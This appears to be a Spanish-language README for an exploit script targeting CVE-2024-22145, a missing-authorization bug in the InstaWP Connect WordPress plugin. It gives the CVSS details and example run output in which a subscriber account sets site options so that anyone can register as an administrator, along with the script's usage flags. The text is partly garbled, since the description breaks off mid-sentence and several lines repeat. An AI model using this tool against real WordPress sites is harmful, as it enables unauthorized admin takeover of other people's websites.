
InstaWP Connect <= 0.1.0.8 - Falta de autorización para actualización arbitraria de opciones (Subscriber+)
InstaWP Connect <= 0.1.0.8 - Autorización faltante para la actualización arbitraria de opciones (Suscriptor+)
El complemento InstaWP Connect – 1-click WP Staging & Migration para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en la función save_management_settings en todas las versiones hasta la 0.1.0.8 inclusive. Esto permite que atacantes autenticados, con acceso de suscriptor y superior, modifiquen
Gravedad: alta
ID de CVE: CVE-2024-22145
Puntaje CVSS: 8.8
Métrica CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Slug del complemento: instawp-connect
URL de WPScan: https://www.wpscan.com/plugin/instawp-connect
URL de referencia: https://www.wordfence.com/threat-intel/vulnerabilities/id/6aa4fd08-a1b1-4f61-a9d1-9812071b61c9?source=api-prod
$ python3 CVE-2024-22145.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 0.1.0.9.
The plugin version is 0.1.0.7
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
usage: CVE-2024-22145.py [-h] -u URL [-un USERNAME] [-p PASSWORD] [-f FIX]
InstaWP Connect <= 0.1.0.8 - Autorización faltante para la actualización arbitraria de opciones Descripción: El complemento InstaWP Connect – 1-click WP Staging & Migration para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en la función save_management_settings en todas las versiones hasta la 0.1.0.8 inclusive. Esto permite que atacantes autenticados, con acceso de suscriptor y superior, modifiquen CVE-2024-22145
opciones:
-h, --help muestra este mensaje de ayuda y sale
-u URL, --url URL URL del sitio web
-un USERNAME, --username USERNAME
Nombre de usuario de WordPress
-p PASSWORD, --password PASSWORD
Contraseña de WordPress
-f FIX, --fix FIX Restablecer después del exploit